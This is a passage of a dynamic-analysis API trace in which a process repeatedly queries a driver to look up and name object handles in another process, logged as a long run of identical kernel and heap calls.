Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0136.112] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.113] PsReleaseProcessExitSynchronization () returned 0x2 [0136.113] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.113] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.113] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0136.113] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.113] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.113] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.113] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.113] PsAcquireProcessExitSynchronization () returned 0x0 [0136.113] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.113] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0136.113] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.113] PsReleaseProcessExitSynchronization () returned 0x2 [0136.113] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.113] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.113] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0136.113] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.113] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.113] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.113] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.113] PsAcquireProcessExitSynchronization () returned 0x0 [0136.113] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.113] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0136.113] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.113] PsReleaseProcessExitSynchronization () returned 0x2 [0136.113] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.113] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.113] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0136.113] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.113] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.113] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.113] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.114] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.114] PsAcquireProcessExitSynchronization () returned 0x0 [0136.114] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.114] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0136.114] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.114] PsReleaseProcessExitSynchronization () returned 0x2 [0136.114] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.114] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.114] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0136.114] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.114] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.114] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.114] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.114] PsAcquireProcessExitSynchronization () returned 0x0 [0136.114] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.114] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003b3b3d0, HandleInformation=0x0) returned 0x0 [0136.114] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.114] PsReleaseProcessExitSynchronization () returned 0x2 [0136.114] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.114] ObQueryNameString (in: Object=0xfffff8a003b3b3d0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.114] ObfDereferenceObject (Object=0xfffff8a003b3b3d0) returned 0x1 [0136.114] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.114] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.114] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.114] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.114] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.114] PsAcquireProcessExitSynchronization () returned 0x0 [0136.114] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.114] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0136.114] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.114] PsReleaseProcessExitSynchronization () returned 0x2 [0136.114] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.114] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.114] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0136.114] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.115] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.115] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.115] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.115] PsAcquireProcessExitSynchronization () returned 0x0 [0136.115] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.115] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0136.115] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.115] PsReleaseProcessExitSynchronization () returned 0x2 [0136.115] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.115] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.115] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0136.115] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.115] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.115] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.115] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.115] PsAcquireProcessExitSynchronization () returned 0x0 [0136.115] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.115] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0136.115] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.115] PsReleaseProcessExitSynchronization () returned 0x2 [0136.115] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.115] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.115] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0136.115] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.115] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.115] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.115] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.115] PsAcquireProcessExitSynchronization () returned 0x0 [0136.115] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.115] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0136.115] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.115] PsReleaseProcessExitSynchronization () returned 0x2 [0136.116] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.116] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.116] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0136.116] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.116] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.116] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.116] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.116] PsAcquireProcessExitSynchronization () returned 0x0 [0136.116] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.116] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0136.116] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.116] PsReleaseProcessExitSynchronization () returned 0x2 [0136.116] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.116] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.116] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0136.116] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.116] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.116] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.116] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.116] PsAcquireProcessExitSynchronization () returned 0x0 [0136.116] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.116] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0136.116] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.116] PsReleaseProcessExitSynchronization () returned 0x2 [0136.116] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.116] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.116] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0136.116] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.116] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.116] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.117] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.117] PsAcquireProcessExitSynchronization () returned 0x0 [0136.117] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.117] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0136.117] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.117] PsReleaseProcessExitSynchronization () returned 0x2 [0136.117] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.117] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.117] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0136.117] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.117] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.117] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.117] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.117] PsAcquireProcessExitSynchronization () returned 0x0 [0136.117] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.117] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0136.117] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.117] PsReleaseProcessExitSynchronization () returned 0x2 [0136.117] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.117] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.117] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0136.117] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.117] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.117] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.117] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.117] PsAcquireProcessExitSynchronization () returned 0x0 [0136.117] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.117] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0136.117] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.117] PsReleaseProcessExitSynchronization () returned 0x2 [0136.117] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.117] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.118] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0136.118] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.118] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.118] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.118] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.118] PsAcquireProcessExitSynchronization () returned 0x0 [0136.118] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.118] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0136.118] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.118] PsReleaseProcessExitSynchronization () returned 0x2 [0136.118] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.118] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.118] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0136.118] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.118] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.118] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.118] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.118] PsAcquireProcessExitSynchronization () returned 0x0 [0136.118] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.118] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0136.118] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.118] PsReleaseProcessExitSynchronization () returned 0x2 [0136.118] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.118] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.118] ObfDereferenceObject 